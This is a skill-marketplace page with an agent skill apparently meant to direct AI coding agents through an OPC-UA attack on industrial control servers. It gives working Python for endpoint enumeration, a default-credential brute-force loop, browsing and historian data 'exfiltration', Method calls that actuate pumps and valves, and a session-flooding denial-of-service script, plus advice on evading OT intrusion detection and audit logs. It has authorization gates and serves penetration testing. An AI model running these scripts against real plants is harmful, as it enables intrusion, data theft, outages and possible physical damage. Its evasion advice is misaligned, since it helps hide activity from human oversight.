# Opcua

> OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.

- Skill: `purpleailab/opcua` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/opcua`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/opcua/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/opcua

---


# OPC-UA Attack Playbook (TCP 4840)

OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave `SecurityPolicy: None` active for "backwards compatibility," giving full unauthenticated access to the address space.

## SAFETY FIRST

OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). **Confirm written scope authorization before any call to Method nodes or write to Variable nodes.** Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.

## Prerequisites

```bash
# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua

# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan

# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24
```

## Phase 1 — Discover

```bash
# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5

# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens
```

## Phase 2 — GetEndpoints (unauthenticated policy enumeration)

GetEndpoints is always available without a session — it's the pre-auth discovery call.

```python
import asyncio
from asyncua import Client

async def get_endpoints():
    url = "opc.tcp://10.0.0.5:4840"
    # Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
    async with Client(url=url) as client:
        endpoints = await client.get_endpoints()
        for ep in endpoints:
            print(f"URL: {ep.EndpointUrl}")
            print(f"  SecurityMode: {ep.SecurityMode}")       # 1=None, 2=Sign, 3=SignAndEncrypt
            print(f"  SecurityPolicy: {ep.SecurityPolicyUri}")
            for tok in ep.UserIdentityTokens:
                print(f"  Token: {tok.TokenType}")  # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken

asyncio.run(get_endpoints())
```

Key findings to record:
- `SecurityMode: 1` (None) + `SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None` → plaintext, no signing. Traffic is readable in Wireshark.
- `TokenType: 0` (Anonymous) accepted → no credentials needed.
- `TokenType: 1` (UserName) present → attempt default/dictionary creds.

## Phase 3 — Auth testing

### Anonymous connect

```python
import asyncio
from asyncua import Client

async def anon_connect():
    url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
    async with Client(url=url) as client:
        # No credentials set — asyncua defaults to Anonymous token
        root = client.get_root_node()
        print("Root node:", await root.read_browse_name())
        # Successful connection here = Anonymous accepted
        server_node = client.get_server_node()
        status = await server_node.get_child(["0:ServerStatus"])
        print("Server status:", await status.read_value())

asyncio.run(anon_connect())
```

### Username/password dictionary attack

```python
import asyncio
from asyncua import Client
from asyncua.ua import uaerrors

DEFAULT_CREDS = [
    ("admin", "admin"), ("administrator", "administrator"),
    ("opcua", "opcua"), ("user", "user"), ("guest", ""),
    ("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
    ("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]

async def brute_opcua(url):
    for user, pwd in DEFAULT_CREDS:
        try:
            async with Client(url=url) as client:
                await client.set_user(user)
                await client.set_password(pwd)
                await client.connect()
                print(f"[+] VALID: {user}:{pwd}")
                return user, pwd
        except uaerrors.BadUserAccessDenied:
            print(f"[-] {user}:{pwd} — denied")
        except uaerrors.BadIdentityTokenRejected:
            print(f"[-] {user}:{pwd} — rejected")
        except Exception as e:
            print(f"[!] {user}:{pwd} — {e}")
    return None, None

asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))
```

## Phase 4 — Address-space browsing and tag read

Once authenticated (anonymous or credentialed):

```python
import asyncio
from asyncua import Client, ua

async def browse_and_read(url, depth=3):
    async with Client(url=url) as client:
        # Browse from Objects folder (standard entry point for process data)
        objects = client.get_objects_node()

        async def recurse(node, level=0):
            try:
                children = await node.get_children()
                name = await node.read_browse_name()
                print("  " * level + f"[{name.Name}] NodeId={node.nodeid}")
                for child in children:
                    cls = await child.read_node_class()
                    if cls == ua.NodeClass.Variable:
                        try:
                            val = await child.read_value()
                            cname = await child.read_browse_name()
                            print("  " * (level+1) + f"VAR {cname.Name} = {val}")
                        except Exception:
                            pass
                    if level < depth:
                        await recurse(child, level + 1)
            except Exception as e:
                print("  " * level + f"[browse error: {e}]")

        await recurse(objects)

asyncio.run(browse_and_read("opc.tcp://10.0.0.5:4840"))
```

Key nodes to target:
- `Objects/Server/ServerStatus` — build info, start time, current time (always readable, even anonymous)
- `Objects/DeviceSet/` or `Objects/<VendorNamespace>/` — vendor-specific process variables
- Node class `Method` — callable control actions (pump start, valve position, firmware upload)

### Read ServerStatus for vendor/version fingerprint

```python
async with Client(url=url) as client:
    nsidx = await client.get_namespace_index("http://opcfoundation.org/UA/")
    build_info = await client.nodes.server.get_child(["0:ServerStatus", "0:BuildInfo"])
    product = await build_info.get_child(["0:ProductName"])
    version = await build_info.get_child(["0:SoftwareVersion"])
    print(await product.read_value(), await version.read_value())
    # e.g.: "Prosys OPC UA Simulation Server" "5.4.6"
    # e.g.: "Unified Automation UaGateway" "3.3.0"
    # e.g.: "open62541" "1.3.6"
```

## Phase 5 — HistoryRead (process data exfiltration)

Many historian/SCADA OPC-UA servers expose historical process values via `HistoryRead`. This can dump weeks of sensor/tag data unauthenticated.

```python
import asyncio
from asyncua import Client, ua
from datetime import datetime, timedelta, timezone

async def history_read(url, node_id_str):
    async with Client(url=url) as client:
        node = client.get_node(node_id_str)  # e.g. "ns=2;s=Temperature"
        end_time = datetime.now(timezone.utc)
        start_time = end_time - timedelta(hours=24)

        result = await client.history_read(
            nodes=[node],
            pe=ua.ReadRawModifiedDetails(
                IsReadModified=False,
                StartTime=start_time,
                EndTime=end_time,
                NumValuesPerNode=1000,
                ReturnBounds=True,
            )
        )
        for dv in result[0].HistoryData.DataValues:
            print(f"  {dv.SourceTimestamp}  {dv.Value.Value}")

asyncio.run(history_read("opc.tcp://10.0.0.5:4840", "ns=2;s=Temperature"))
```

## Phase 6 — Method node calls (write-class, SAFETY GATE)

> **STOP. Write-class authorization required before executing this phase.**
> Method calls may directly actuate physical equipment.

```python
import asyncio
from asyncua import Client, ua

async def call_method(url, object_node_id, method_node_id, *args):
    """
    Call an OPC UA Method node.
    object_node_id: NodeId of the parent Object (e.g. "ns=2;s=PumpController")
    method_node_id: NodeId of the Method (e.g. "ns=2;s=PumpController.Start")
    """
    async with Client(url=url) as client:
        obj = client.get_node(object_node_id)
        method = client.get_node(method_node_id)
        result = await obj.call_method(method, *args)
        print("Method result:", result)

# Example: call a simulated start method
# asyncio.run(call_method("opc.tcp://10.0.0.5:4840",
#     "ns=2;s=PumpController", "ns=2;s=PumpController.Start"))
```

Enumeration of available methods (read-only, safe):

```python
async with Client(url=url) as client:
    objects = client.get_objects_node()
    async def find_methods(node, level=0):
        try:
            for child in await node.get_children():
                cls = await child.read_node_class()
                if cls == ua.NodeClass.Method:
                    name = await child.read_browse_name()
                    print("  " * level + f"[METHOD] {name.Name}  NodeId={child.nodeid}")
                elif cls in (ua.NodeClass.Object, ua.NodeClass.ObjectType):
                    if level < 4:
                        await find_methods(child, level + 1)
        except Exception:
            pass
    await find_methods(objects)
```

## Phase 7 — Session exhaustion DoS

CVE-2024-53429 (open62541 <= 1.3.12) and CVE-2025-7390 (Softing OPC UA C++ SDK) involve oversized ExtensionObject / replay leading to server crash or excessive resource consumption. Generic session flooding is applicable to servers with no connection limit:

```python
import asyncio
from asyncua import Client

async def exhaust_sessions(url, count=500):
    """Open many sessions without closing them — exhausts server thread pool / session table."""
    clients = []
    for i in range(count):
        try:
            c = Client(url=url)
            await c.connect()
            clients.append(c)
            if i % 50 == 0:
                print(f"  {i} sessions open")
        except Exception as e:
            print(f"  Session {i} failed: {e} — server may be saturated")
            break
    print(f"Total open sessions: {len(clients)}")
    # Note: gate behind explicit DoS authorization. Leaving sessions open will
    # degrade or crash production servers.
    for c in clients:
        try:
            await c.disconnect()
        except Exception:
            pass

# asyncio.run(exhaust_sessions("opc.tcp://10.0.0.5:4840"))
```

> Gate this behind `permitted_actions: denial_of_service`. Do not run against production without explicit sign-off.

## Common findings

| Finding | MITRE | Impact |
|---|---|---|
| SecurityPolicy: None accepted | T0882 | Full plaintext traffic; passive sniff reveals tag values + credentials |
| Anonymous access to Objects node | T0855 | Read process telemetry without credentials |
| Anonymous HistoryRead | T0846 | Exfiltrate weeks of process historian data |
| Default credentials (admin/admin) | T0814 | Full authenticated access; potential Method call |
| Method nodes callable without write authorization | T0836 | Control actions (pump/valve/setpoint) with no auth barrier |
| No session limit (DoS via exhaustion) | T0814 | Crash or freeze OPC-UA server, disrupting HMI/SCADA polling |
| Internet-exposed OPC-UA (Shodan: port:4840) | T0882 | Direct ICS access from internet |

## Evidence

On anonymous or credentialed access, persist:

```python
kg_add_node(
    kind="finding",
    label="OPC-UA anonymous access / SecurityPolicy None",
    props={
        "key": f"opcua-anon::{target_ip}",
        "protocol": "opc-ua",
        "port": 4840,
        "security_mode": "None",
        "anonymous_access": True,
        "server_product": "<ProductName>",
        "server_version": "<SoftwareVersion>",
        "nodes_readable": "<count>",
        "source": "asyncua-getendpoints+browse",
    },
)
```

On credential find:

```python
kg_add_node(
    kind="credential",
    label=f"OPC-UA credential on {target_ip}",
    props={
        "key": f"opcua-cred::{target_ip}",
        "secret_type": "opcua_username",
        "username": user,
        "password": pwd,
        "target": target_ip,
        "port": 4840,
        "source": "opcua-brute",
    },
)
```

## ZFP (two-method evidence)

1. `asyncua` output showing GetEndpoints response with `SecurityMode=1` and/or `TokenType=Anonymous`.
2. Browse dump listing at least one process Variable node with a read value, OR hashcat-style session log showing valid credential.

## OPSEC notes

- GetEndpoints and anonymous Browse generate no auth event in most OPC-UA server logs. Behaviorally quiet.
- Credentialed sessions generate an `AuditCreateSessionEvent` and `AuditActivateSessionEvent` in the OPC-UA audit log if the server has `AuditingEnabled=True`. Check `ns=0;i=2994` (AuditingEnabled) before credentialed ops.
- Claroty / Nozomi OT NDR platforms signature-detect OPC-UA anonymous sessions and unusual HistoryRead volumes. Use rate-limiting in enumerate loops.
- CVE-2024-53429 and CVE-2025-7390 crashes are irreversible remotely; check server software version before any DoS testing.
- Physical-safety gate: any Variable write or Method call may affect a physical actuator. Treat all write-class operations as requiring explicit scope authorization.

## References

- asyncua docs — github.com/FreeOpcUa/opcua-asyncio
- opcua-scan (Wavestone) — github.com/wavestone-cdt/opcua-scan
- Claroty Team82 OPC-UA research — claroty.com/team82/research/opcua
- arXiv 2003.12341 — "A Systematic Methodology for ICS OPC-UA Security Assessment"
- CVE-2024-53429 — open62541 session handling DoS
- CVE-2025-7390 — Softing OPC UA C++ SDK replay
- ICS-CERT advisories — cisa.gov/uscert/ics/advisories
- OPC Foundation UA Specification Part 2 (Security Model), Part 4 (Services)